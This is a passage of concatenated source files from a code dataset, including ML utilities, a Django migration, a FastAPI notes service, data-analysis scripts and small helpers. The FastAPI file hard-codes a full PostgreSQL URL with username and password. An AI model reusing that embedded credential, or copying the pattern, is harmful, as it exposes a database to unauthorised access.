Maximum length of the discretized prediction.\n            I.e., enforce that `preds[i, 1] - preds[i, 0] + 1 <= max_len`.\n        no_answer (bool): Treat 0-index as the no-answer prediction. Consider\n            a prediction no-answer if `preds[0, 0] * preds[0, 1]` is greater\n            than the probability assigned to the max-probability span.\n\n    Returns:\n        start_idxs (torch.Tensor): Hard predictions for start index.\n            Shape (batch_size,)\n        end_idxs (torch.Tensor): Hard predictions for end index.\n            Shape (batch_size,)\n    \"\"\"\n    if p_start.min() < 0 or p_start.max() > 1 or p_end.min() < 0 or p_end.max() > 1:\n        raise ValueError(\"Expected p_start and p_end to have values in [0, 1]\")\n\n    # Compute pairwise probabilities\n    p_start = p_start.unsqueeze(dim=2)\n    p_end = p_end.unsqueeze(dim=1)\n    p_joint = torch.matmul(p_start, p_end)  # (batch_size, c_len, c_len)\n\n    # Restrict to pairs (i, j) such that i <= j <= i + max_len - 1\n    c_len, device = p_start.size(1), p_start.device\n    is_legal_pair = torch.triu(torch.ones((c_len, c_len), device=device))\n    is_legal_pair -= torch.triu(\n        torch.ones((c_len, c_len), device=device), diagonal=max_len\n    )\n    if no_answer:\n        # Index 0 is no-answer\n        p_no_answer = p_joint[:, 0, 0].clone()\n        is_legal_pair[0, :] = 0\n        is_legal_pair[:, 0] = 0\n    else:\n        p_no_answer = None\n    p_joint *= is_legal_pair\n\n    # Take pair (i, j) that maximizes p_joint\n    max_in_row, _ = torch.max(p_joint, dim=2)\n    max_in_col, _ = torch.max(p_joint, dim=1)\n    start_idxs = torch.argmax(max_in_row, dim=-1)\n    end_idxs = torch.argmax(max_in_col, dim=-1)\n\n    if no_answer:\n        # Predict no-answer whenever p_no_answer > max_prob\n        max_prob, _ = torch.max(max_in_col, dim=-1)\n        start_idxs[p_no_answer > max_prob] = 0\n        end_idxs[p_no_answer > max_prob] = 0\n\n    return start_idxs, end_idxs\n\n\ndef convert_tokens(\n    eval_dict, qa_id, y_start_list, y_end_list, no_answer, c_starts=None\n):\n    \"\"\"Convert predictions to tokens from the context.\n\n    Args:\n        eval_dict (dict): Dictionary with eval info for the dataset. This is\n            used to perform the mapping from IDs and indices to actual text.\n        qa_id (int): List of QA example IDs.\n        y_start_list (list): List of start predictions.\n        y_end_list (list): List of end predictions.\n        no_answer (bool): Questions can have no answer. E.g., SQuAD 2.0.\n\n    Returns:\n        pred_dict (dict): Dictionary index IDs -> predicted answer text.\n        sub_dict (dict): Dictionary UUIDs -> predicted answer text (submission).\n    \"\"\"\n    pred_dict = {}\n    sub_dict = {}\n    if c_starts is None:\n        c_starts = [0] * len(y_start_list)\n\n    for qid, y_start, y_end, c_start in zip(qa_id, y_start_list, y_end_list, c_starts):\n        context = eval_dict[str(qid)][\"context\"]\n        spans = eval_dict[str(qid)][\"spans\"]\n        uuid = eval_dict[str(qid)][\"uuid\"]\n\n        # Skip if already answered (not N/A)\n        if str(qid) in pred_dict and pred_dict[str(qid)] == \"\":\n            continue\n\n        if no_answer and (y_start == 0 or y_end == 0):\n            pred_dict[str(qid)] = \"\"\n            sub_dict[uuid] = \"\"\n        else:\n            if no_answer:\n                y_start, y_end = y_start - 1, y_end - 1\n            y_start += c_start\n            y_end += c_start\n            start_idx = spans[y_start][0]\n            end_idx = spans[y_end][1]\n            pred_dict[str(qid)] = context[start_idx:end_idx]\n            sub_dict[uuid] = context[start_idx:end_idx]\n    return pred_dict, sub_dict\n","sub_path":"trainer/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":13184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"468493180","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('WuMinTakeOut', '0003_auto_20160629_1930'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='myshop',\n            fields=[\n                ('id', models.AutoField(serialize=False, primary_key=True, auto_created=True, verbose_name='ID')),\n                ('shop_name', models.CharField(max_length=20, default='外卖商店')),\n                ('shop_phone', models.CharField(max_length=20, default='暂无电话')),\n                ('shop_address', models.CharField(max_length=100, default='暂无地址')),\n                ('shop_activity', models.CharField(max_length=100, default='暂无活动')),\n                ('shop_state', models.IntegerField(default=1)),\n                ('shop_good_evaluation', models.IntegerField(default=0)),\n                ('shop_bad_evaluation', models.IntegerField(default=0)),\n                ('shop_owner', models.ForeignKey(to='WuMinTakeOut.myuser')),\n            ],\n        ),\n    ]\n","sub_path":"13_Programming_Week_in_School/WuMinProject/WuMinTakeOut/migrations/0004_myshop.py","file_name":"0004_myshop.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"597593420","text":"#  (C) Copyright IBM Corp. 2020.\n#  #\n#  Licensed under the Apache License, Version 2.0 (the \"License\");\n#  you may not use this file except in compliance with the License.\n#  You may obtain a copy of the License at\n#  #\n#       http://www.apache.org/licenses/LICENSE-2.0\n#  #\n#  Unless required by applicable law or agreed to in writing, software\n#  distributed under the License is distributed on an \"AS IS\" BASIS,\n#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#  See the License for the specific language governing permissions and\n#  limitations under the License.\n\nfrom ibm_watson_machine_learning.libs.repo.mlrepository import MetaProps\nfrom ibm_watson_machine_learning.libs.repo.mlrepository.wml_function_artifact import WmlFunctionArtifact\nfrom ibm_watson_machine_learning.libs.repo.mlrepositoryartifact.function_artifact_reader import FunctionArtifactReader\n\nclass FunctionArtifact(WmlFunctionArtifact):\n    \"\"\"\n    Class of  function artifacts created with MLRepositoryCLient.\n\n    \"\"\"\n    def __init__(self,\n                 function,\n                 uid=None,\n                 name=None,\n                 meta_props=MetaProps({}),):\n\n        super(FunctionArtifact, self).__init__(uid, name, meta_props)\n\n        self.function = function\n\n    def reader(self):\n        \"\"\"\n        Returns reader used for getting archive model content.\n\n        :return: reader for TensorflowPipelineModelArtifact.pipeline.Pipeline\n        :rtype: TensorflowPipelineReader\n        \"\"\"\n        try:\n            return self._reader\n        except:\n            self._reader = FunctionArtifactReader(self.function)\n            return self._reader\n\n    def _copy(self, uid=None, meta_props=None):\n        if uid is None:\n            uid = self.uid\n\n        if meta_props is None:\n            meta_props = self.meta\n\n        return FunctionArtifact(\n            self.function,\n            uid=uid,\n            name=self.name,\n            meta_props=meta_props\n        )\n\n","sub_path":"venv/Lib/site-packages/ibm_watson_machine_learning/libs/repo/mlrepositoryartifact/function_artifact.py","file_name":"function_artifact.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"411662344","text":"# --------------\n# Import packages\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import mode \n \n\n\n\n# code starts here\nbank =pd.read_csv(path)\n\ncategorical_var=bank.select_dtypes(include = 'object')\nprint(categorical_var)\nnumerical_var=bank.select_dtypes(include = 'number')\nprint(numerical_var)\n# code ends here\n\n\n# --------------\n# code starts here\n\nbanks=bank.drop(['Loan_ID'],axis=1)\nprint(banks.isnull().sum())\n#code ends here\nbank_mode=banks.mode\nbanks=banks.fillna(value=bank_mode)\n\n\n\n# --------------\n# Code starts here\n\navg_loan_amount = banks.pivot_table(index = ['Gender', 'Married', 'Self_Employed'] ,values = 'LoanAmount',aggfunc=np.mean)\n# code ends here\n\n\n\n# --------------\n# code starts here\n\n\n\n\nloan_approved_se = ((banks['Self_Employed'] == 'Yes') & (banks['Loan_Status'] == 'Y')).sum()\nloan_approved_nse = ((banks['Self_Employed'] == 'No') & (banks['Loan_Status'] == 'Y')).sum()\nLoan_Status = banks['Loan_Status'].count()\n\npercentage_se = loan_approved_se/Loan_Status *100\npercentage_nse = loan_approved_nse/Loan_Status *100\n# code ends here\n\n\n\n\n# --------------\n# code starts here\nloan_term=banks['Loan_Amount_Term'].apply(lambda x : int(x) / 12)\n\n\n\nbig_loan_term=len(loan_term[loan_term>=25])\nprint(big_loan_term)\n\n# code ends here\n\n\n# --------------\n# code starts here\n\ncolumns_to_show = ['ApplicantIncome', 'Credit_History']\n \nloan_groupby=banks.groupby(['Loan_Status'])\n\nloan_groupby=loan_groupby[columns_to_show]\n\n# Check the mean value \nmean_values=loan_groupby.agg([np.mean])\n\nprint(mean_values)\n\n# code ends here\n\n\n","sub_path":"Project-:-Loan-Approval-Analysis/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"38374284","text":"import argparse\nimport random\nimport re\nfrom collections import Counter\n\nimport numpy as np\nimport pandas as pd\nimport torch\n\nfrom moses.metrics import get_mol, morgan_similarity, remove_invalid, \\\n                          fragment_similarity, scaffold_similarity, fraction_passes_filters, \\\n                          internal_diversity, frechet_distance, \\\n                          frechet_chemnet_distance, logP, QED, SA, NP, weight\nfrom moses.utils import mapper\n\n\ndef add_common_arg(parser):\n    def torch_device(arg):\n        if re.match('^(cuda(:[0-9]+)?|cpu)$', arg) is None:\n            raise argparse.ArgumentTypeError('Wrong device format: {}'.format(arg))\n\n        if arg != 'cpu':\n            splited_device = arg.split(':')\n\n            if (not torch.cuda.is_available()) or \\\n                    (len(splited_device) > 1 and int(splited_device[1]) > torch.cuda.device_count()):\n                raise argparse.ArgumentTypeError('Wrong device: {} is not available'.format(arg))\n\n        return arg\n\n    # Base\n    parser.add_argument('--device',\n                        type=torch_device, default='cuda',\n                        help='Device to run: \"cpu\" or \"cuda:<device number>\"')\n    parser.add_argument('--seed',\n                        type=int, default=0,\n                        help='Seed')\n\n    return parser\n\n\ndef add_train_args(parser):\n    # Common\n    common_arg = parser.add_argument_group('Common')\n    add_common_arg(common_arg)\n    common_arg.add_argument('--train_load',\n                            type=str, required=True,\n                            help='Input data in csv format to train')\n    common_arg.add_argument('--model_save',\n                            type=str, default='model.pt',\n                            help='Where to save the model')\n    common_arg.add_argument('--save_frequency',\n                            type=str, default=20,\n                            help='How often to save the model')\n    common_arg.add_argument('--log_file',\n                            type=str, default='log.txt',\n                            help='Where to save the log')\n    common_arg.add_argument('--config_save',\n                            type=str, default='config.pt',\n                            help='Where to save the config')\n    common_arg.add_argument('--vocab_save',\n                            type=str, default='vocab.pt',\n                            help='Where to save the vocab')\n\n    return parser\n\n\ndef add_sample_args(parser):\n    # Common\n    common_arg = parser.add_argument_group('Common')\n    add_common_arg(common_arg)\n    common_arg.add_argument('--model_load',\n                            type=str, default='model.pt',\n                            help='Where to load the model')\n    common_arg.add_argument('--config_load',\n                            type=str, default='config.pt',\n                            help='Where to load the config')\n    common_arg.add_argument('--vocab_load',\n                            type=str, default='vocab.pt',\n                            help='Where to load the vocab')\n    common_arg.add_argument('--n_samples',\n                            type=int, required=True,\n                            help='Number of samples to sample')\n    common_arg.add_argument('--gen_save',\n                            type=str, default='gen.csv',\n                            help='Where to save the gen molecules')\n    common_arg.add_argument(\"--n_batch\",\n                            type=int, default=32,\n                            help=\"Size of batch\")\n    common_arg.add_argument(\"--max_len\",\n                            type=int, default=100,\n                            help=\"Max of length of SMILES\")\n\n    return parser\n\n\ndef read_smiles_csv(path):\n    return pd.read_csv(path,\n                       usecols=['SMILES'],\n                       squeeze=True).astype(str).tolist()\n\n\ndef set_seed(seed):\n    torch.manual_seed(seed)\n    random.seed(seed)\n    np.random.seed(seed)\n    torch.backends.cudnn.deterministic = True\n    torch.backends.cudnn.benchmark = False\n\n\nclass MetricsReward:\n    supported_metrics = ['fcd', 'morgan', 'fragments', 'scaffolds', 'internal_diversity',\n                         'filters', 'logp', 'sa', 'qed', 'np', 'weight']\n\n    @staticmethod\n    def _nan2zero(value):\n        if value == np.nan:\n            return 0\n\n        return value\n\n    def __init__(self, ref, n_ref_subsample, n_rollouts, n_jobs, metrics=[]):\n        assert all([m in MetricsReward.supported_metrics for m in metrics])\n\n        self.ref = remove_invalid(ref, canonize=True, n_jobs=n_jobs)\n        self.ref_mols = mapper(n_jobs)(get_mol, self.ref)\n\n        self.n_ref_subsample = n_ref_subsample\n        self.n_rollouts = n_rollouts\n        self.n_jobs = n_jobs\n        self.metrics = metrics\n\n    def _get_metrics(self, ref, ref_mols, rollout):\n        rollout_mols = mapper(self.n_jobs)(get_mol, rollout)\n        result = [[0 if m is None else 1] for m in rollout_mols]\n\n        if sum([r[0] for r in result], 0) == 0:\n            return result\n\n        rollout = remove_invalid(rollout, canonize=True, n_jobs=self.n_jobs)\n        if len(rollout) < 2:\n            return result\n\n        if len(self.metrics):\n            for metric_name in self.metrics:\n                if metric_name == 'fcd':\n                    m = frechet_chemnet_distance(ref, rollout, n_jobs=self.n_jobs)\n                elif metric_name == 'morgan':\n                    m = morgan_similarity(ref_mols, rollout_mols, n_jobs=self.n_jobs)\n                elif metric_name == 'fragments':\n                    m = fragment_similarity(ref_mols, rollout_mols, n_jobs=self.n_jobs)\n                elif metric_name == 'scaffolds':\n                    m = scaffold_similarity(ref_mols, rollout_mols, n_jobs=self.n_jobs)\n                elif metric_name == 'internal_diversity':\n                    m = internal_diversity(rollout_mols, n_jobs=self.n_jobs)\n                elif metric_name == 'filters':\n                    m = fraction_passes_filters(rollout_mols, n_jobs=self.n_jobs)\n                elif metric_name == 'logp':\n                    m = frechet_distance(ref_mols, rollout_mols, logP, n_jobs=self.n_jobs)\n                elif metric_name == 'sa':\n                    m = frechet_distance(ref_mols, rollout_mols, SA, n_jobs=self.n_jobs)\n                elif metric_name == 'qed':\n                    m = frechet_distance(ref_mols, rollout_mols, QED, n_jobs=self.n_jobs)\n                elif metric_name == 'np':\n                    m = frechet_distance(ref_mols, rollout_mols, NP, n_jobs=self.n_jobs)\n                elif metric_name == 'weight':\n                    m = frechet_distance(ref_mols, rollout_mols, weight, n_jobs=self.n_jobs)\n\n                m = MetricsReward._nan2zero(m)\n                for i in range(len(rollout)):\n                    result[i].append(m)\n\n        return result\n\n    def __call__(self, gen):\n        idxs = random.sample(range(len(self.ref)), self.n_ref_subsample)\n        ref_subsample = [self.ref[idx] for idx in idxs]\n        ref_mols_subsample = [self.ref_mols[idx] for idx in idxs]\n\n        gen_counter = Counter(gen)\n        gen_counts = [gen_counter[g] for g in gen]\n\n        n = len(gen) // self.n_rollouts\n        rollouts = [gen[i::n] for i in range(n)]\n\n        metrics_values = [self._get_metrics(ref_subsample, ref_mols_subsample, rollout) for rollout in rollouts]\n        metrics_values = map(lambda rollout_metrics: [sum(r, 0) / len(r) for r in rollout_metrics], metrics_values)\n        reward_values = sum(zip(*metrics_values), ())\n        reward_values = [v / c for v, c in zip(reward_values, gen_counts)]\n\n        return reward_values\n","sub_path":"moses/script_utils.py","file_name":"script_utils.py","file_ext":"py","file_size_in_byte":7659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"256990055","text":"\"\"\"\n    cloudistics.tests.cli.modules.storage_controller_tests\n    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n    :license: MIT, see LICENSE for more details.\n\"\"\"\nimport json\n\nfrom cloudistics import testing\n\n\nclass StorageControllerTests(testing.TestCase):\n    def test_detail_fail_not_found(self):\n        result = self.run_command(['sc', 'detail', 'XXXXXXXX'])\n        self.assertEqual(1, result.exit_code)\n        self.assertIn('Error: Unable to find Storage Controller', result.output)\n\n    def test_detail_success(self):\n        result = self.run_command(['sc', 'detail', '2c8ba748-6f7f-11e5-9d70-feff819cdc9f'])\n\n        self.assert_no_fail(result)\n        self.assertEqual(\n            {\n                'CSV': '1.1.1',\n                'Location': 'Reston',\n                'OS': 'Cloudistics Spark Hypervisor',\n                'Storage Block': 'Storage_Unit_1',\n                'active': True,\n                'name': 'Storage_Controller_1',\n                'uuid': '2c8ba748-6f7f-11e5-9d70-feff819cdc9f'\n            },\n            json.loads(result.output))\n\n    def test_list(self):\n        result = self.run_command(['sc', 'list'])\n\n        self.assert_no_fail(result)\n        self.assertEqual(\n            [{'identifier': '2c8ba748-6f7f-11e5-9d70-feff819cdc9f', 'name': 'Storage_Controller_1'}],\n            json.loads(result.output))\n","sub_path":"tests/cli/modules/storage_controllers_tests.py","file_name":"storage_controllers_tests.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"88775681","text":"#!/usr/bin/python \n#-*-coding:utf-8-*- \n\nimport serial\n\nPort = \"/dev/ttyACM1\"  # 串口\nbaudRate = 9600  # 波特率\nser = serial.Serial(Port, baudRate, timeout=1)\n\nwhile True:\n    send = '1'  # 发送给arduino的数据\n    ser.write(send.encode())\n    str = ser.readline().decode()  # 获取arduino发送的数据\n    if(str != \"\"):\n        print(str)\n        if(str == 'ok\\r\\n'): # 发送一次便退出\n            print('收到')\n            break\n\nser.close()","sub_path":"ArduinoCode/Rasp_Ard_Servo_test/Rasp_Ard_Servo_test.py","file_name":"Rasp_Ard_Servo_test.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"228537584","text":"import datetime\nimport os\nimport threading\nimport cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport time\nimport util\nimport re\nimport sys\nfrom concurrent.futures import ProcessPoolExecutor, ThreadPoolExecutor\n\ndef multiprocessing(func, frames, frame_indices, sub_frames, prod_run, data_dir, output_dir, bg_img_path, num_cpu):\n    \"\"\" Makes use of multi kernels. \"\"\"\n    with ProcessPoolExecutor(max_workers=num_cpu) as executor:\n        res = executor.map(func, frames, frame_indices, sub_frames, prod_run, data_dir, output_dir, bg_img_path  )\n    return list(res)\n\ndef load_subframe_metadata(path):\n    \"\"\"Opens settings.txt and loads how the subframes of a given video bucket are specified.\"\"\"\n    try:\n        with open(path) as inputFileHandle:\n            result = []\n            content = inputFileHandle.read() \n            content = content.split(\"\\n\")[0]\n            subframes = content.split(\"/\")\n            for subframe in subframes:\n                print(subframe)\n                result.append(subframe.split(\",\"))\n\n            print(\"This is the subframe metadata\")\n            print(result)\n            return result\n    except IOError:\n        sys.stderr.write( \"[myScript] - Error: Could not open %s\\n\" % (path) )\n        sys.exit(-1)\n\n\n\n# PATHES!\n# cwd: DATA\n# DATA/videos\n# DATA/bees\n# DATA/background_3.png\n\n# number of cpus\nnum_cpu = 4\n# no print commands if true\nproduction_run = False\n## Data bucket\n# video files *.mp4 and settings.txt\ndata_dir = \"/home/bemootzer/Dokumente/SoftwareProjekte/Bienen/DATA\"\nvideo_bucket = \"videos_charge3\" # relative to DATA/\nbg_img_path = data_dir + \"/\" + video_bucket + \"/background.png\"\nsettings_path = data_dir + \"/\" + video_bucket + \"/settings.txt\"\n# Skip frames until start frame\nstart_frame = 10\n# End at given frame\nend_frame = 0\n\n\n## Setup\n# Create the specified directory. Path to folder where each process stores its data\noutput_dir = data_dir + '/bees/' + video_bucket + \"_\" + str(datetime.datetime.now()) + '/'\nos.mkdir(output_dir)\nos.chdir(output_dir)\nos.mkdir('single/')\nos.mkdir('multi/')\nos.mkdir('dump/')\nos.mkdir('single/bee/')\nos.mkdir('single/mask/')\nos.mkdir('single/overlay/')\nos.mkdir('multi/bee/')\nos.mkdir('multi/mask/')\nos.mkdir('multi/overlay/')\nos.mkdir('dump/multi/')\nos.mkdir('dump/single/')\nos.mkdir('dump/multi/bee')\nos.mkdir('dump/single/bee')\nos.mkdir('dump/single/overlay')\nos.mkdir('dump/multi/mask')\nos.mkdir('dump/single/mask')\nos.mkdir('dump/multi/overlay')\nos.chdir(data_dir)\n\n# load sub_frame sizes\nsubframes = load_subframe_metadata(settings_path)\n\nvideos = os.listdir(video_bucket)\nvideo_index = 0\npattern = re.compile(\"^.*mp4$\")\nfor video in videos:    \n    # only process .mp4 files\n    if not pattern.match(video):\n        continue\n    video_index = video_index + 1\n    frames = []\n    frame_indices = []\n    proc_subframes = []\n    # loads video file\n    cap = cv2.VideoCapture(data_dir + \"/\" + video_bucket + \"/\"  + video)\n    # number of frames in video file\n    max_frames = cap.get(cv2.CAP_PROP_FRAME_COUNT)\n    # last frame index (can be used to skip last frames)\n    end_frame = int(max_frames)\n    # skips frames until defined start_frame\n    cap.set(1, start_frame)\n    \n    for frame_index in range(0, end_frame):\n        # add all frames from one clip as arguments for pool\n        if frame_index < start_frame:\n            continue\n        _, frame = cap.read()\n\n\n        subframe_index = 0\n        for subframe in subframes:\n            subframe_index = subframe_index + 1\n     \n            frames.append(frame)\n            frame_indices.append(str(video_index) + \"_\" + str(subframe_index) + \"_\" + str(frame_index))\n            proc_subframes.append(subframe)\n\n    ## Now there is a list of all frames of current video\n    N = len(frames)\n    ## blows up constants to hand over to processes\n    proc_prod_run = [production_run for i in range(N) ]\n    proc_output_dir = [output_dir for i in range(N) ]\n    proc_bg_img_path = [bg_img_path for i in range(N) ]\n    proc_data_dir = [data_dir for i in range(N) ]\n\n    print(\"start of video number \" + str(video_index) + \" - \" + str(max_frames) + \" (\" + video + \") \" + \" of \" + str(len(videos)))\n    if production_run:\n        multiprocessing(util.calc, frames, frame_indices, proc_subframes, proc_prod_run, proc_data_dir, proc_output_dir, proc_bg_img_path, num_cpu )\n    else:\n        while len(frames) > 0:\n            util.calc(frames.pop(), frame_indices.pop(), proc_subframes.pop(), proc_prod_run.pop(), proc_data_dir.pop(), proc_output_dir.pop(), proc_bg_img_path.pop())\n\n","sub_path":"parzi_get_bees.py","file_name":"parzi_get_bees.py","file_ext":"py","file_size_in_byte":4553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"544158184","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Date    : 2018/10/12 下午3:55\n# @Author  : Ying Sun\n# @Link    : yinsun@microsoft.com\n# @Version : 0.1\n\n\nfrom datetime import datetime,timedelta\n\nweekdays = ['Monday','Tuesday','Wednesday','Thursday','Friday','Saturday','Sunday']\n\ndef get_previous_byday(dayname,start_date=None):\n    if start_date is None:\n        start_date = datetime.today()\n    \n    day_num = start_date.weekday()\n    day_number_target = weekdays.index(dayname)\n    days_ago = (7 + day_num - day_number_target) % 7\n    if days_ago == 0:\n        days_ago = 7\n    \n    target_date = start_date - timedelta(days=days_ago)\n    \n    return target_date\n\n\nfrom datetime import datetime, date, timedelta\n\nimport calendar\n\ndef get_month_range(start_date=None):\n    if start_date is None:\n        start_date = date.today().replace(day=1)\n    \n    _, days_in_month = calendar.monthrange(start_date.year, start_date.month)\n    end_date = start_date + timedelta(days=days_in_month)\n    \n    return (start_date,end_date)","sub_path":"Cookbook/3/get_previous_byday.py","file_name":"get_previous_byday.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"395821407","text":"#!/usr/bin/python3\n\"\"\"Module for append_after function\"\"\"\n\n\ndef append_after(filename=\"\", search_string=\"\", new_string=\"\"):\n    \"\"\"Inserts a line of text (new_string) to filename after each line\n    containing search_string\"\"\"\n    with open(filename, 'r', encoding='utf-8') as f:\n        s = \"\"\n        while 1:\n            line = f.readline()\n            if not line:\n                break\n            s += line\n            if line.find(search_string) != -1:\n                s += new_string\n    with open(filename, 'w', encoding='utf-8') as f:\n        f.write(s)\n","sub_path":"0x0B-python-input_output/100-append_after.py","file_name":"100-append_after.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"24823504","text":"from typing import List\nimport databases, sqlalchemy\nfrom fastapi import FastAPI, status\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom pydantic import BaseModel\nimport os\nimport urllib\nimport psycopg2\nimport uuid, datetime\nimport model as noteModel\n\n\nDATABASE_URL = \"postgres://rydhmtmngcyeod:2c0170103a7cae2971c9e893c5281026ac584f2f40e128815212e9874b761e8e@ec2-52-71-161-140.compute-1.amazonaws.com:5432/d1p3fpsus6u211\"\n\ndatabase = databases.Database(DATABASE_URL)\nmetadata = sqlalchemy.MetaData()\n\nnotes = sqlalchemy.Table(\n    \"notes\",\n    metadata,\n    sqlalchemy.Column(\"id\", sqlalchemy.Integer, primary_key=True),\n    sqlalchemy.Column(\"text\", sqlalchemy.String),\n    sqlalchemy.Column(\"completed\", sqlalchemy.Boolean),\n)\n\n\nengine = sqlalchemy.create_engine(DATABASE_URL)\n\nmetadata.create_all(engine)\n\n\napp = FastAPI(title=\"REST API using FastAPI PostgreSQL Async EndPoints\")\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=[\"*\"],\n    allow_credentials=True,\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"]\n)\n\n\n@app.on_event(\"startup\")\nasync def startup():\n    await database.connect()\n\n@app.on_event(\"shutdown\")\nasync def shutdown():\n    await database.disconnect()\n\n\n@app.post(\"/notes/\", response_model=noteModel.Note, status_code = status.HTTP_201_CREATED)\nasync def create_note(note: noteModel.NoteIn):\n    query = notes.insert().values(text=note.text, completed=note.completed)\n    last_record_id = await database.execute(query)\n    return {**note.dict(), \"id\": last_record_id}\n\n\n@app.put(\"/notes/{note_id}/\", response_model=noteModel.Note, status_code = status.HTTP_200_OK)\nasync def update_note(note_id: int, payload: noteModel.NoteIn):\n    query = notes.update().where(notes.c.id == note_id).values(text=payload.text, completed=payload.completed)\n    await database.execute(query)\n    return {**payload.dict(), \"id\": note_id}\n\n\n@app.get(\"/notes/\", response_model=List[noteModel.Note], status_code = status.HTTP_200_OK)\nasync def read_notes(skip: int = 0, take: int = 20):\n    query = notes.select().offset(skip).limit(take)\n    return await database.fetch_all(query)\n\n\n@app.get(\"/notes/{note_id}/\", response_model=noteModel.Note, status_code = status.HTTP_200_OK)\nasync def read_notes(note_id: int):\n    query = notes.select().where(notes.c.id == note_id)\n    return await database.fetch_one(query)\n\n\n@app.delete(\"/notes/{note_id}/\", status_code = status.HTTP_200_OK)\nasync def update_note(note_id: int):\n    query = notes.delete().where(notes.c.id == note_id)\n    await database.execute(query)\n    return {\"message\": \"Note with id: {} deleted successfully!\".format(note_id)}\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"364191882","text":"import numpy as np\nimport wave as we\nimport matplotlib.pyplot as plt\n\n# 读取wav\ndef wavread(path):\n    wavfile = we.open(path, \"rb\")\n    params = wavfile.getparams()\n    nchannels, sampwidth, framesra, frameswav = params[:4]\n    print(\"nchannels:%d\" % nchannels)\n    print(\"sampwidth:%d\" % sampwidth)\n    datawav = wavfile.readframes(frameswav)\n    wavfile.close()\n    datause = np.fromstring(datawav, dtype=np.short)\n    print(len(datause))\n    if nchannels == 2:\n        datause.shape = -1, 2\n    datause = datause.T\n    time = np.arange(0, frameswav) * (1.0 / framesra)\n    return datause, time, nchannels\n\n\n# 绘制wav\ndef wavedraw(wav_path):\n    path = wav_path\n    print(path)\n    wavdata, wavtime, nchannels = wavread(path)\n    df = 1\n    freq = [df * n for n in range(0, len(wavdata))]\n    print(len(wavtime))\n    c = np.fft.fft(wavdata) * nchannels\n    fig, ax = plt.subplots(2, 1)\n    ax[0].plot(wavtime, wavdata, color='green')\n    ax[0].set_xlabel('Time')\n    ax[0].set_ylabel('Amplitude')\n    ax[1].plot(freq, abs(c), color='red')\n    ax[1].set_xlabel('Freq(HZ)')\n    ax[1].set_ylabel('Y(freq)')\n    plt.show()\n","sub_path":"wavdraw.py","file_name":"wavdraw.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"495189378","text":"# Implement a class to hold room information. This should have name and\n# description attributes.\n\nclass Room:\n  def __init__(self, name, description):\n    # The room should have `name` and `description` attributes.\n    self.name = name\n    self.shortname = shortname\n    self.description = description\n\n    # The room should also have `n_to`, `s_to`, `e_to`, and `w_to` attributes\n    # which point to the room in that respective direction.\n    self.n_to = None\n    self.e_to = None\n    self.s_to = None\n    self.w_to = None\n\n    # storage is a list that holds the Item's that are currently in the room\n    self.storage = []\n\n  def __str__(self):\n    return f\"{self.shortname}\"\n  \n  def listStorage(self):\n    i = 1\n    for e in self.storage:\n      print(f\"{i} - {e}\")\n      i = i + 1\n  ","sub_path":"src/room.py","file_name":"room.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"187479731","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndrinks = pd.read_csv('drinks.csv')\n\ndrinks.info()\n\nprint(drinks.describe())\n\nbeer_series = drinks['beer_servings']\nprint(drinks['beer_servings'].describe())\n\nprint(beer_series.mean())\n\neuro_frame = drinks[drinks['continent'] == 'EU']\n\neuro_wine_300_frame = drinks[(drinks['continent'] == 'EU') & (drinks['wine_servings'] > 300)]\n\ntop_ten_countries = drinks.sort_values(by='total_litres_of_pure_alcohol').tail(10)\n\ndrinks['continent'].fillna(value='NA', inplace=True)\n\ndrinks['total_servings'] = drinks.beer_servings + drinks.spirit_servings + drinks.wine_servings\n\ndrinks['alcohol_mL'] = drinks.total_litres_of_pure_alcohol * 1000\n\nplt.figure()\nplt.scatter(drinks['total_litres_of_pure_alcohol'], drinks['beer_servings'])\nplt.xlabel('Total Litres of Alcohol')\nplt.ylabel('Beer Servings')\nplt.title('International Alcohol 